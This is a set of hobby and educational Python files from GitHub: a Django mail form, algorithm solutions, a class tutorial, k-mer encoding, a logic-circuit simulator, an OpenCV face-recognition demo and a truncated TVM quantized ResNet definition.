+{"seq_id":"9904519678","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nimport smtplib\n\nfrom django.shortcuts import render\nfrom django.shortcuts import redirect\nfrom mail.form import *\nfrom email.MIMEMultipart import MIMEMultipart\nfrom email.MIMEBase import MIMEBase\nfrom email import Encoders\nfrom email.mime.text import MIMEText\n# Create your views here.\nfrom django.contrib.auth.decorators import login_required\n\ndef mail(request):\n\tform =None\n\tif (request.method=='POST'):\n\t\tform=MailForm(request.POST)\n\t\tif(form.is_valid()):\n\t\t\tfromemail=form.cleaned_data['from_email']\n\t\t\tpassword=form.cleaned_data['password1']\n\t\t\ttoemail=form.cleaned_data['to_email']\n\t\t\tsubject=form.cleaned_data['subject']\n\t\t\t#file=request.FILES['file']\n\t\t\tmsg=form.cleaned_data['message']\n\t\t\t#message=handleemail(msg,subject)\n\t\t\tser=smtplib.SMTP('smtp.gmail.com',587)\n\t\t\tser.ehlo()\n\t\t\tser.starttls()\n\t\t\tser.login(str(fromemail),str(password))\n\t\t\tser.sendmail(str(fromemail),[str(fromemail),str(toemail)],str(msg))\n\t\t\tser.close()\n\t\t\treturn redirect('/register/success')\n\telse:\n\t\tform=MailForm()\n\treturn render(request,'ContactUs.html',{'form':form})\n\n\ndef handleemail(msg,subject):\n\tmessage=MIMEMultipart()\n\tmessage['Subject']=subject\n\tpart1=MIMEText(str(msg),'plain')\n\tmessage.attach(part1)\n\tpart2= MIMEBase('application',\"octet-stream\")\n\tpart2.set_payload(file.read())\n\tEncoders.encode_base64(part2)\n\tpart2.add_header('Content-Disposition', 'attachment; filename=\"text.txt\"')\n\tmessage.attach(part2)\n\treturn message    \n\n\n","repo_name":"shashwattrivedi/Foreign-Collaboration-and-Exchange-Program","sub_path":"mail/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1493,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"2131404219","text":"# https://www.acmicpc.net/problem/14889\n\nfrom sys import stdin\nfrom itertools import combinations\nimport math\n\nN = int(stdin.readline())\nS = [list(map(int, stdin.readline().split())) for _ in range(N)]\n\ngap = math.inf\nfor case in combinations(range(N), N//2):\n    team1 = team2 = 0\n\n    for s, t in combinations(case, 2):\n        team1 += (S[s][t]+S[t][s])\n\n    rcase = set(range(N)) - set(case)\n    for s, t in combinations(rcase, 2):\n        team2 += (S[s][t]+S[t][s])\n\n    gap = min(gap, abs(team1-team2))\nprint(gap)\n","repo_name":"Yapp-17th-Algorithm/algorithm-python","sub_path":"서영/스타트와 링크.py","file_name":"스타트와 링크.py","file_ext":"py","file_size_in_byte":520,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"6140709424","text":"import typing\nfrom typing import List\n\nfrom test_framework import generic_test\n\n\ndef minimum_messiness(words: List[str], line_length: int) -> int:\n\n    num_remaining_blanks = line_length - len(words[0])\n    # min_messiness[i] is the minimum messiness when placing words[0:i + 1].\n    min_messiness = ([num_remaining_blanks**2] +\n                     [typing.cast(int, float('inf'))] * (len(words) - 1))\n    for i in range(1, len(words)):\n        num_remaining_blanks = line_length - len(words[i])\n        min_messiness[i] = min_messiness[i - 1] + num_remaining_blanks**2\n        # Try adding words[i - 1], words[i - 2], ...\n        for j in reversed(range(i)):\n            num_remaining_blanks -= len(words[j]) + 1\n            if num_remaining_blanks < 0:\n                # Not enough space to add more words.\n                break\n            first_j_messiness = 0 if j - 1 < 0 else min_messiness[j - 1]\n            current_line_messiness = num_remaining_blanks**2\n            min_messiness[i] = min(min_messiness[i],\n                                   first_j_messiness + current_line_messiness)\n    return min_messiness[-1]\n\n\nif __name__ == '__main__':\n    exit(\n        generic_test.generic_test_main('pretty_printing.py',\n                                       'pretty_printing.tsv',\n                                       minimum_messiness))\n","repo_name":"adnanaziz/EPIJudge","sub_path":"epi_judge_python_solutions/pretty_printing.py","file_name":"pretty_printing.py","file_ext":"py","file_size_in_byte":1348,"program_lang":"python","lang":"en","doc_type":"code","stars":2693,"dataset":"github-code","pt":"60"}
+{"seq_id":"31861017834","text":"# The class statement creates a class object and assigns it a name\n\n# Assignments inside class statements make class attributes\n\n# Class attributes provide object state and behavior\n\nclass FirstClass: # Define a class object\n\n    def setdata(self, value): # Define class's methods\n        self.data = value # self is the instance\n\n    def display(self):\n        print(self.data) # self.data: per instance\n\nx = FirstClass() # Make two instances\ny = FirstClass()\n\nx.setdata(\"King Arthur\") # Call methods: self is x\ny.setdata(3.14159)\n\nx.display()\ny.display()\n\n# there are no declarations for instance attributes\n\nx.data = \"New value\" # Can get/set attributes\nx.display() # Outside the class too\n\n# we could even generate an entirely new attribute in the instance’s\n# namespace by assigning to its name outside the class’s method functions\n\nx.anothername = \"spam\"  # Can set new attributes here too!\n\n# Superclasses are listed in parentheses in a class header\n\n# Classes inherit attributes from their superclasses\n\n# Instances inherit attributes from all accessible classes.\n\n# Each object.attribute reference invokes a new, independent search\n\nclass SecondClass(FirstClass): # Inherits setdata\n\n    def display(self): # Changes display\n        print('Current value = \"%s\"' % self.data)\n\nz = SecondClass()\nz.setdata(42) # Finds setdata in FirstClass\nz.display()\n\n# # food.py\n# var = 1 # food.var\n# def func(): ... # food.func\n# class spam: ... # food.spam\n# class ham: ... # food.ham\n# class eggs: ... # food.eggs\n\n# major difference between classes and modules:\n# operator overloading\n\n# operator overloading lets objects coded with\n# classes intercept and respond to operations that work on built-in types: addition, slicing,\n# printing, qualification, and so on\n\n# • Methods named with double underscores (__X__) are special hooks\n#  Such methods are called automatically when instances appear in built-in\n# operations. For instance, if an instance object inherits an __add__ method, that\n# method is called whenever the object appears in a + expression. The method’s\n# return value becomes the result of the corresponding expression.\n\n# There are no defaults for operator overloading methods, and none are required\n\nclass ThirdClass(SecondClass): # Inherit from SecondClass\n    def __init__(self, value): # On \"ThirdClass(value)\"\n        self.data = value\n\n    def __add__(self, other): # On \"self + other\"\n        return ThirdClass(self.data + other)\n\n    def __str__(self): # On \"print(self)\", \"str()\"\n        return '[ThirdClass: %s]' % self.data\n\n    def mul(self, other): # In-place change: named\n        self.data *= other\n\na = ThirdClass('abc') # __init__ called\na.display()\nprint(a)\n\nb = a + 'xyz' # __add__: makes a new instance\nb += '123'\n\nb.display() # b has all ThirdClass methods\n\nprint(b)\n\na.mul(3) # mul: changes instance in place\nprint(a)\n# __init__ sets the value\n\n# __add__(self,other) b = a + 'xyz'\n# a is the self and after plus is the other\n# returns a thirdclass object\n\nclass Person:\n    def __init__(self, name, jobs, age=None): # class = data + logic\n        self.name = name\n        self.jobs = jobs\n        self.age = age\n\n    def info(self):\n        return (self.name, self.jobs)\n\nrec1 = Person('Bob', ['dev', 'mgr'], 40.5) # Construction calls\nrec2 = Person('Sue', ['dev', 'cto'])\n\n#def __str__(self): # On \"print(self)\", \"str()\" like toString method\n# return '[ThirdClass: %s]' % self.data\n\nprint(rec1.jobs)\nprint(rec2.info())\n\n","repo_name":"randyajackson/Python-Sketchbook","sub_path":"6.27/Class Coding Basics.py","file_name":"Class Coding Basics.py","file_ext":"py","file_size_in_byte":3467,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"17636650221","text":"import pandas as pd \nimport numpy as np \nfrom collections import defaultdict\nimport os\nimport argparse\nfrom utils.util import string2code, get_dna_encoding, sequence2kmers, code2index\n\n\n\ndef save_set_kmers(meta_data, k):\n    seqs = pd.read_csv(meta_data[\"path\"])\n    name = meta_data[\"name\"]\n    output_path = meta_data[\"output_path\"]\n    encoding = get_dna_encoding()\n\n    \n\n    with open(output_path, \"w+\") as output_file:\n        for index, row in seqs.iterrows():\n            kmers = sequence2kmers(row[\"seq\"], k)\n            codes = [code2index( string2code(kmer, encoding), 4) for kmer in kmers]\n            output_file.write(\",\".join(list(map(str, codes))))\n            output_file.write(\"\\n\")\n\n\n\ndef main(args):\n    k = args.k\n    # m = args.m\n\n    # distances_path = \"logs/k-{}.csv\".format(k)\n    # outputpath = \"logs/k-{}-m-{}.csv\".format(k, m)\n\n    sequences_metas = [\n        {\n            \"name\":\"train_sequences\",\n            \"path\": \"dataset/Xtr.csv\",\n            \"output_path\": \"logs/train_kmers-k-{}.csv\".format(k)\n        },\n        {\n            \"name\":\"test_sequences\",\n            \"path\": \"dataset/Xte.csv\",\n            \"output_path\": \"logs/test_kmers-k-{}.csv\".format(k)\n        }\n    ]\n    for seq_meta in sequences_metas:\n        print(\"processing\", seq_meta[\"name\"])\n        save_set_kmers(seq_meta, k)\n\nif __name__ == '__main__':\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\"-k\", type=int, required=True)\n    args = parser.parse_args()\n    main(args)\n\n    ","repo_name":"ymitiku/kernel-methods-challenge","sub_path":"sequence2kmers.py","file_name":"sequence2kmers.py","file_ext":"py","file_size_in_byte":1501,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"33178262485","text":"from fastapi_users_db_sqlalchemy import GUID\nfrom sqlalchemy import Column, DateTime\nfrom sqlalchemy.orm import declarative_mixin\nfrom sqlalchemy.sql.functions import func\n\n\n@declarative_mixin\nclass DefaultModel:\n    \"\"\"Default Column names for all models.\"\"\"\n\n    id = Column(GUID, primary_key=True, server_default=func.uuid_generate_v4())\n    created_at = Column(\n        DateTime(timezone=True), server_default=func.now(), nullable=True\n    )\n    updated_at = Column(\n        DateTime(timezone=True),\n        server_default=func.now(),\n        nullable=True,\n    )\n    deleted_at = Column(DateTime(timezone=True), nullable=True)\n","repo_name":"drithh/e-commerce-website","sub_path":"backend/app/models/default.py","file_name":"default.py","file_ext":"py","file_size_in_byte":632,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"60"}
+{"seq_id":"36975318462","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\"\"\" Simulation de circuits logiques \"\"\"\n\n\nclass Fil:\n    \"\"\" Relie les composants et déclenche leur actualisation \"\"\"\n\n    def __init__(self):\n        self.composants_aval = []\n        self.etat = False\n\n    def ajouter_composant_aval(self, composant):\n        \"\"\" Ajoute un composant que le fil peut activer \"\"\"\n        self.composants_aval.append(composant)\n\n    def set_etat(self, etat):\n        \"\"\" Actualise les composants en aval \"\"\"\n        self.etat = etat\n        for composant in self.composants_aval:\n            composant.update()\n\n\nclass Porte:\n    \"\"\" Porte logique munie de deux entrées et d'une sortie \"\"\"\n\n    def __init__(self, entree_un, entree_deux, sortie):\n        self.entrees = [entree_un, entree_deux]\n        self.sortie = sortie\n\n    def fonction(self):\n        return False\n\n    def update(self):\n        self.sortie.set_etat(self.fonction())\n\n\nclass PorteAND(Porte):\n    \"\"\" Porte réalisant l'opération logique 'et' \"\"\"\n\n    def fonction(self):\n        return self.entrees[0].etat and self.entrees[1].etat\n\n\nclass PorteOR(Porte):\n    \"\"\" Porte réalisant l'opération logique 'ou' \"\"\"\n\n    def fonction(self):\n        return self.entrees[0].etat or self.entrees[1].etat\n\n\nclass PorteXOR(Porte):\n    \"\"\" Porte réalisant l'opération logique 'ou exclusif' \"\"\"\n\n    def fonction(self):\n        return self.entrees[0].etat or self.entrees[1].etat and not (\n            self.entrees[0].etat and self.entrees[1].etat)\n\n\nclass PorteNOT(Porte):\n    \"\"\" Porte niant son entrée \"\"\"\n\n    def __init__(self, entree, sortie):\n        self.entree = entree\n        self.sortie = sortie\n\n    def fonction(self):\n        return not (self.entree)\n\n\nclass Sensor:\n    \"\"\" Capteur \"\"\"\n\n    def __init__(self, entree):\n        self.entree = entree\n\n    def update(self):\n        print(self.entree.etat)\n\n\nclass DemiAdd:\n    \"\"\" Demi-additionneur \"\"\"\n\n    def __init__(self, entree_un, entree_deux, sortie_un, sortie_deux):\n        self.entrees = [entree_un, entree_deux]\n        self.sorties = [sortie_un, sortie_deux]\n\n    def update(self):\n        e1, e2 = self.sorties[0].etat, self.sorties[0].etat\n        self.sorties[0].set_etat(e1 and e2)\n        self.sorties[1].set_etat(e1 or e2 and not (e1 and e2))\n\n\nclass Add:\n    \"\"\" Additionneur pourvu de deux demi-additionneurs \"\"\"\n\n    def __init__(self, entree_un, entree_deux, retenue, sortie_un,\n                 sortie_deux):\n        c, d, e = Fil(), Fil(), Fil()\n\n        self.sorties = [sortie_un, sortie_deux]\n        self.demi_add1 = DemiAdd(entree_un, entree_deux, c, d)\n        self.demi_add2 = DemiAdd(c, retenue, sortie_un, e)\n        self.porte_or = PorteOR(d, e, sortie_deux)\n\n        c.ajouter_composant_aval(self.demi_add2)\n        e.ajouter_composant_aval(self.porte_or)\n        d.ajouter_composant_aval(self.porte_or)\n\n    def update(self):\n        return None\n\n\ndef test_base():\n    \"\"\" Circuit logique d'exemple \"\"\"\n    a, b, c, d = Fil(), Fil(), Fil(), Fil()\n    porte1 = PorteNOT(a, b)\n    porte2 = PorteOR(b, c, d)\n    sensor = Sensor(d)\n\n    a.ajouter_composant_aval(porte1)\n    b.ajouter_composant_aval(porte2)\n    c.ajouter_composant_aval(porte2)\n\n    d.ajouter_composant_aval(sensor)\n\n    c.set_etat(False)\n    a.set_etat(True)\n    c.set_etat(True)\n    a.set_etat(False)\n\n\ndef test_demi_add():\n    \"\"\" Table de vérité du demi-additionneur \"\"\"\n    a, b, c, d = Fil(), Fil(), Fil(), Fil()\n    sensor1, sensor2 = Sensor(c), Sensor(d)\n    demi_add = DemiAdd(a, b, c, d)\n\n    a.ajouter_composant_aval(demi_add)\n    b.ajouter_composant_aval(demi_add)\n\n    c.ajouter_composant_aval(sensor1)\n    d.ajouter_composant_aval(sensor2)\n    for e1 in [True, False]:\n        for e2 in [True, False]:\n            a.set_etat(e1)\n            b.set_etat(e2)\n\n\ndef test_add():\n    \"\"\" Table de vérité de l'additionneur \"\"\"\n    a, b, c, d, r = Fil(), Fil(), Fil(), Fil(), Fil()\n    sensor1, sensor2 = Sensor(c), Sensor(d)\n    additionneur = Add(a, b, r, c, d)\n\n    a.ajouter_composant_aval(additionneur)\n    b.ajouter_composant_aval(additionneur)\n    r.ajouter_composant_aval(additionneur)\n\n    c.ajouter_composant_aval(sensor1)\n    d.ajouter_composant_aval(sensor2)\n\n    for e1 in [True, False]:\n        for e2 in [True, False]:\n            for e3 in [True, False]:\n                a.set_etat(e1)\n                b.set_etat(e2)\n                r.set_etat(e3)\n\n\nif __name__ == \"__main__\":\n    test_base()\n    test_demi_add()\n    test_add()\n","repo_name":"willRicard/MPSI-Info","sub_path":"18_circuits_poo/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4459,"program_lang":"python","lang":"fr","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"18379464295","text":"import requests\r\nimport cv2\r\nimport numpy as np\r\n \r\nimport time\r\n\r\ndef recognize():\r\n    recognizer = cv2.face.LBPHFaceRecognizer_create()\r\n    recognizer.read('trainer/trainer.yml')\r\n    cascadePath = \"Classifiers/face.xml\"\r\n    ecascade=\"Classifiers/haarcascade_eye.xml\"\r\n    faceCascade = cv2.CascadeClassifier(cascadePath);\r\n    eyecascade=cv2.CascadeClassifier(ecascade);\r\n    Id = 0\r\n\r\n    cam = cv2.VideoCapture(0)\r\n    src=1\r\n    #cam = cv2.VideoCapture(src)\r\n    font = cv2.FONT_HERSHEY_SIMPLEX\r\n    while True:\r\n        timer=int(time.time())\r\n        current_time=time.localtime()\r\n        second=time.strftime(\"%S\",current_time)\r\n        ret,img=cam.read()\r\n        gray=cv2.cvtColor(img,cv2.COLOR_BGR2GRAY)\r\n        cv2.putText(img,\"Mission status : active\",(10,20),font,0.5,(0,0,255) ,1)\r\n        cv2.putText(img,\"localtime :  \",(10,40),font,0.5,(255,255,255) ,1)\r\n\r\n        localtime=time.asctime(time.localtime(time.time()))\r\n        cv2.putText(img,localtime,(100,40),font,0.5,(255,255,255) ,1)\r\n        faces=faceCascade.detectMultiScale(gray,1.3,5)\r\n\r\n\r\n\r\n        for(x,y,w,h) in faces:\r\n            cv2.rectangle(img,(x,y),(x+w,y+h),(0,255,0),2)\r\n            roi_gray=img[y:y+h, x:x+w]\r\n            roi_color=img[y:y+h,x:x+w]\r\n            Id, conf = recognizer.predict(gray[y:y+h,x:x+w])\r\n            gender, conf = recognizer.predict(gray[y:y+h,x:x+w])\r\n            cr_record, conf = recognizer.predict(gray[y:y+h,x:x+w])\r\n\r\n            if(conf<50):\r\n                 if(Id==1):\r\n                    Id=\"Rahi\"\r\n                    gender=\"male\"\r\n                    cr_record=\"none\"\r\n                 elif(Id==2):\r\n                    Id=\"joy\"\r\n                    gender=\"male\"\r\n                    cr_record=\"yes\"\r\n            \r\n\r\n            else:\r\n                    Id=\"unknown\"\r\n\r\n                    gender=\"unknown\"\r\n                    cr_record=\"unknown\"\r\n\r\n\r\n            eyes=eyecascade.detectMultiScale(roi_gray)\r\n            for (ex,ey,ew,eh) in eyes:\r\n                     cv2.rectangle(  roi_color,(ex,ey+20),(ex+ew,ey+eh), 255, 2)\r\n\r\n\r\n            #cv2.putText(img,str(Id), (x,y+h+20),font,2,(0,255,0), 2)\r\n\r\n            cv2.putText(img,\"Name : \"+str(Id),(x,y+h+20),font,0.5,(0,255,0),2)\r\n\r\n            cv2.putText(img,\"Gender : \"+str(gender),(x,y+h+45),font,0.5,(0,255,0),2)\r\n            cv2.putText(img,\"Criminal Records : \"+str(cr_record),(x,y+h+70),font,0.5,(0,0,255),2)       #cv2.putText\r\n        cv2.imshow('im',img)\r\n\r\n\r\n        if cv2.waitKey(10) & 0xFF==ord('q'):\r\n            break\r\n    cam.release()\r\n    cv2.destroyAllWindows()\r\n","repo_name":"icerahi/skills_competition_2017","sub_path":"DIgital_cafe_billing_with_face_recognition_security/flask_recognition/recognition.py","file_name":"recognition.py","file_ext":"py","file_size_in_byte":2580,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"17555536126","text":"from tvm import relay\n\nimport layers\nfrom init import create_workload, QuantizeInitializer\n\ndef residual_unit(data,\n                  input_channels,\n                  num_filter,\n                  stride,\n                  dim_match,\n                  name,\n                  bottle_neck=True,\n                  data_layout=\"NCHW\",\n                  kernel_layout=\"OIHW\",\n                  ):\n    \"\"\"Return ResNet Unit symbol for building ResNet\n\n    Parameters\n    ----------\n    data : str\n        Input data\n\n    input_channels: int\n        Number of input channels\n\n    num_filter : int\n        Number of output channels\n\n    bnf : int\n        Bottle neck channels factor with regard to num_filter\n\n    stride : tuple\n        Stride used in convolution\n\n    dim_match : bool\n        True means channel number between input and output is the same,\n        otherwise means differ\n\n    name : str\n        Base name of the operators\n    \"\"\"\n\n    if bottle_neck:\n        bn1 = layers.quantized_batchnorm(data=data, data_layout=data_layout, channels=input_channels, name=name+\"_qbn1\")\n\n        act1 = relay.nn.relu(data=bn1)\n        act1 = relay.annotation.stop_fusion(act1)\n\n        qconfig1 = layers.get_qconfig(name + '_qconfig1')\n\n        req1 = layers.requantize(data=act1,\n                                 input_scale=qconfig1.from_scale,\n                                 input_zero_point=qconfig1.from_zero_point,\n                                 output_scale=qconfig1.input_scale,\n                                 output_zero_point=qconfig1.input_zero_point,\n                                 out_dtype=qconfig1.input_dtype)\n\n        conv1 = layers.quantized_conv2d(data=req1,\n                                        name=name + '_qconv1',\n                                        add_bias=True,\n                                        input_channels=input_channels,\n                                        output_channels=int(num_filter*0.25),\n                                        kernel_dtype=qconfig1.kernel_dtype,\n                                        input_scale=qconfig1.input_scale,\n                                        kernel_scale=qconfig1.kernel_scale,\n                                        input_zero_point=qconfig1.input_zero_point,\n                                        kernel_zero_point=qconfig1.kernel_zero_point,\n                                        kernel_size=(1, 1),\n                                        strides=stride, padding=(0, 0),\n                                        data_layout=data_layout, kernel_layout=kernel_layout)\n\n        act2 = relay.nn.relu(data=conv1)\n        act2 = relay.annotation.stop_fusion(act2)\n\n        qconfig2 = layers.get_qconfig(name + '_qconfig2')\n\n        req2 = layers.requantize(data=act2,\n                                 input_scale=qconfig2.from_scale,\n                                 input_zero_point=qconfig2.from_zero_point,\n                                 output_scale=qconfig2.input_scale,\n                                 output_zero_point=qconfig2.input_zero_point,\n                                 out_dtype=qconfig2.input_dtype)\n\n        conv2 = layers.quantized_conv2d(data=req2,\n                                        name=name + '_qconv2',\n                                        add_bias=True,\n                                        input_channels=int(num_filter*0.25),\n                                        output_channels=int(num_filter*0.25),\n                                        kernel_dtype=qconfig2.kernel_dtype,\n                                        input_scale=qconfig2.input_scale,\n                                        kernel_scale=qconfig2.kernel_scale,\n                                        input_zero_point=qconfig2.input_zero_point,\n                                        kernel_zero_point=qconfig2.kernel_zero_point,\n                                        kernel_size=(3, 3),\n                                        strides=(1,1), padding=(1, 1),\n                                        data_layout=data_layout, kernel_layout=kernel_layout)\n\n        act3 = relay.nn.relu(data=conv2)\n        act3 = relay.annotation.stop_fusion(act3)\n\n        qconfig3 = layers.get_qconfig(name + '_qconfig3')\n\n        req3 = layers.requantize(act3,\n                                 input_scale=qconfig3.from_scale,\n                                 input_zero_point=qconfig3.from_zero_point,\n                                 output_scale=qconfig3.input_scale,\n                                 output_zero_point=qconfig3.input_zero_point,\n                                 out_dtype=qconfig3.input_dtype)\n\n        conv3 = layers.quantized_conv2d(data=req3,\n                                        name=name + '_qconv3',\n                                        add_bias=True,\n                                        input_channels=int(num_filter*0.25),\n                                        output_channels=num_filter,\n                                        kernel_dtype=qconfig3.kernel_dtype,\n                                        input_scale=qconfig3.input_scale,\n                                        kernel_scale=qconfig3.kernel_scale,\n                                        input_zero_point=qconfig3.input_zero_point,\n                                        kernel_zero_point=qconfig3.kernel_zero_point,\n                                        kernel_size=(1, 1),\n                                        strides=(1, 1), padding=(0, 0),\n                                        data_layout=data_layout, kernel_layout=kernel_layout)\n\n        if dim_match:\n            shortcut = data\n        else:\n            qconfig_sc = layers.get_qconfig(name + '_qconfig_sc')\n\n            req_sc = layers.requantize(data=data,\n                                       input_scale=qconfig_sc.from_scale,\n                                       input_zero_point=qconfig_sc.from_zero_point,\n                                       output_scale=qconfig_sc.input_scale,\n                                       output_zero_point=qconfig_sc.input_zero_point,\n                                       out_dtype=qconfig_sc.input_dtype)\n\n            shortcut = layers.quantized_conv2d(data=req_sc,\n                                               name=name+'_qsc',\n                                               input_channels=input_channels,\n                                               output_channels=num_filter,\n                                               add_bias=False,\n                                               kernel_dtype=qconfig_sc.kernel_dtype,\n                                               input_scale=qconfig_sc.input_scale,\n                                               kernel_scale=qconfig_sc.kernel_scale,\n                                               input_zero_point=qconfig_sc.input_zero_point,\n                                               kernel_zero_point=qconfig_sc.kernel_zero_point,\n                                               kernel_size=(1, 1),\n                                               strides=stride,\n                                               data_layout=data_layout, kernel_layout=kernel_layout)\n\n        qconfig_add = layers.get_qconfig(name + '_qconfig_add')\n\n        shortcut = relay.annotation.stop_fusion(shortcut)\n\n        return layers.add(lhs=conv3,\n                          rhs=shortcut,\n                          lhs_scale=qconfig3.input_scale * qconfig3.kernel_scale,\n                          lhs_zero_point=0.0,\n                          rhs_scale=qconfig_add.input_scale,\n                          rhs_zero_point=qconfig_add.input_zero_point,\n                          output_scale=qconfig_add.output_scale,\n                          output_zero_point=qconfig_add.output_zero_point)\n\n    bn1 = layers.quantized_batchnorm(data=data, data_layout=data_layout, channels=input_channels, name=name+\"_qbn1\" )\n\n    act1 = relay.nn.relu(data=bn1)\n    act1 = relay.annotation.stop_fusion(act1)\n\n    qconfig1 = layers.get_qconfig(name + '_qconfig1')\n\n    req1 = layers.requantize(data=act1,\n                             input_scale=qconfig1.from_scale,\n                             input_zero_point=qconfig1.from_zero_point,\n                             output_scale=qconfig1.input_scale,\n                             output_zero_point=qconfig1.input_zero_point,\n                             out_dtype=qconfig1.input_dtype)\n\n    conv1 = layers.quantized_conv2d(data=req1,\n                                    name=name + '_qconv1',\n                                    input_channels=input_channels,\n                                    output_channels=num_filter,\n                                    add_bias=True,\n                                    kernel_dtype=qconfig1.kernel_dtype,\n                                    input_scale=qconfig1.input_scale,\n                                    kernel_scale=qconfig1.kernel_scale,\n                                    input_zero_point=qconfig1.input_zero_point,\n                                    kernel_zero_point=qconfig1.kernel_zero_point,\n                                    kernel_size=(3, 3),\n                                    strides=stride, padding=(1, 1),\n                                    data_layout=data_layout, kernel_layout=kernel_layout)\n\n    act2 = relay.nn.relu(data=conv1)\n    act2 = relay.annotation.stop_fusion(act2)\n\n    qconfig2 = layers.get_qconfig(name + '_qconfig2')\n\n    req2 = layers.requantize(data=act2,\n                             input_scale=qconfig2.from_scale,\n                             input_zero_point=qconfig2.from_zero_point,\n                             output_scale=qconfig2.input_scale,\n                             output_zero_point=qconfig2.input_zero_point,\n                             out_dtype=qconfig2.input_dtype)\n\n    conv2 = layers.quantized_conv2d(data=req2,\n                                    name=name + '_qconv2',\n                                    input_channels=num_filter,\n                                    output_channels=num_filter,\n                                    add_bias=True,\n                                    kernel_dtype=qconfig2.kernel_dtype,\n                                    input_scale=qconfig2.input_scale,\n                                    kernel_scale=qconfig2.kernel_scale,\n                                    input_zero_point=qconfig2.input_zero_point,\n                                    kernel_zero_point=qconfig2.kernel_zero_point,\n                                    kernel_size=(3, 3),\n                                    strides=(1, 1), padding=(1, 1),\n                                    data_layout=data_layout, kernel_layout=kernel_layout)\n\n    if dim_match:\n        shortcut = data\n    else:\n        qconfig_sc = layers.get_qconfig(name + '_qconfig_sc')\n\n        req_sc = layers.requantize(data=data,\n                                 input_scale=qconfig_sc.from_scale,\n                                 input_zero_point=qconfig_sc.from_zero_point,\n                                 output_scale=qconfig_sc.input_scale,\n                                 output_zero_point=qconfig_sc.input_zero_point,\n                                 out_dtype=qconfig_sc.input_dtype)\n\n        shortcut = layers.quantized_conv2d(data=req_sc,\n                                           name=name+'_qsc',\n                                           input_channels=input_channels,\n                                           output_channels=num_filter,\n                                           add_bias=False,\n                                           kernel_dtype=qconfig_sc.kernel_dtype,\n                                           input_scale=qconfig_sc.input_scale,\n                                           kernel_scale=qconfig_sc.kernel_scale,\n                                           input_zero_point=qconfig_sc.input_zero_point,\n                                           kernel_zero_point=qconfig_sc.kernel_zero_point,\n                                           kernel_size=(1, 1),\n                                           strides=stride,\n                                           data_layout=data_layout, kernel_layout=kernel_layout)\n\n    qconfig_add = layers.get_qconfig(name + '_qconfig_add')\n\n    shortcut = relay.annotation.stop_fusion(shortcut)\n\n    return layers.add(lhs=conv2,\n                      rhs=shortcut,\n                      lhs_scale=qconfig2.input_scale * qconfig2.kernel_scale,\n                      lhs_zero_point=0.0,\n                      rhs_scale=qconfig_add.input_scale,\n                      rhs_zero_point=qconfig_add.input_zero_point,\n                      output_scale=qconfig_add.output_scale,\n                      output_zero_point=qconfig_add.output_zero_point)\n\ndef qnn_resnet(units,\n           num_stages,\n           filter_list,\n           num_classes,\n           data_shape,\n           bottle_neck=True,\n           data_layout=\"NCHW\",\n           kernel_layout=\"OIHW\",\n           dtype=\"int8\"):\n    \"\"\"Return ResNet Program.\n\n    Parameters\n    ----------\n    units : list\n        Number of units in each stage\n\n    num_stages : int\n        Number of stages\n\n    filter_list : list\n        Channel size of each stage\n\n    num_classes : int\n        Ouput size of symbol\n\n    data_shape : tuple of int.\n        The shape of input data.\n\n    bottle_neck : bool\n        Whether apply bottleneck transformation.\n\n    dtype : str\n        The input data type.\n    \"\"\"\n    num_unit = len(units)\n    assert num_unit == num_stages\n\n    data = relay.var(\"data\", shape=data_shape, dtype=dtype)\n\n    if data_layout == 'NCHW':\n        (_, _, height, _) = data_shape\n    elif data_layout == 'NHWC':\n        (_, height, _, _) = data_shape\n    else:\n        raise RuntimeError(\"Unsupported data layout {}\".format(data_layout))\n\n    if height <= 32:            # such as cifar10\n        body = layers.conv2d(\n            data=data, in_dtype=dtype, channels=filter_list[0], kernel_size=(3, 3),\n            strides=(1, 1), padding=(1, 1), data_layout=data_layout, kernel_layout=kernel_layout, name=\"conv0\")\n    else:                       # often expected to be 224 such as imagenet\n        body = layers.conv2d(\n            data=data, in_dtype=dtype, channels=filter_list[0], kernel_size=(7, 7),\n            strides=(2, 2), padding=(3, 3), data_layout=data_layout, kernel_layout=kernel_layout, name=\"conv0\")\n\n        ## Add multiply\n        # body = layers.quantized_batchnorm(body, data_layout=data_layout, channels=filter_list[0], name=\"conv0_bn\")\n\n        body = relay.nn.relu(data=body)\n        body = relay.nn.max_pool2d(data=body, pool_size=(3, 3), strides=(2, 2), padding=(1, 1), layout=data_layout)\n\n    # quantize\n    qconfig_conv0 = layers.get_qconfig(\"conv0_qconfig\")\n    # body = layers.quantize(body, output_scale=qconfig_conv0.output_scale, output_zero_point=qconfig_conv0.output_scale, out_dtype='int32')\n\n    for i in range(num_stages):\n        body = residual_unit(\n            body, filter_list[i], filter_list[i+1], (1 if i == 0 else 2, 1 if i == 0 else 2),\n            (filter_list[i] == filter_list[i+1]), name='stage%d_unit%d' % (i + 1, 1), bottle_neck=bottle_neck,\n            data_layout=data_layout, kernel_layout=kernel_layout)\n        for j in range(units[i]-1):\n            body = residual_unit(\n                body, filter_list[i+1], filter_list[i+1], (1, 1), True,\n                name='stage%d_unit%d' % (i + 1, j + 2), bottle_neck=bottle_neck,\n                data_layout=data_layout, kernel_layout=kernel_layout)\n\n    relu1 = relay.nn.relu(data=body)\n    # Although kernel is not used here when global_pool=True, we should put one\n    pool1 = relay.nn.global_avg_pool2d(data=relu1, layout=data_layout)\n    flat = relay.nn.batch_flatten(data=pool1)\n\n    # dequantize\n    qconfig_fc = layers.get_qconfig(name='fc1_qconfig')\n    deq = layers.dequantize(flat, input_scale=qconfig_fc.input_scale, input_zero_point=qconfig_fc.input_scale)\n\n    fc1 = layers.dense_add_bias(data=deq, units=num_classes, name='fc1')\n    net = 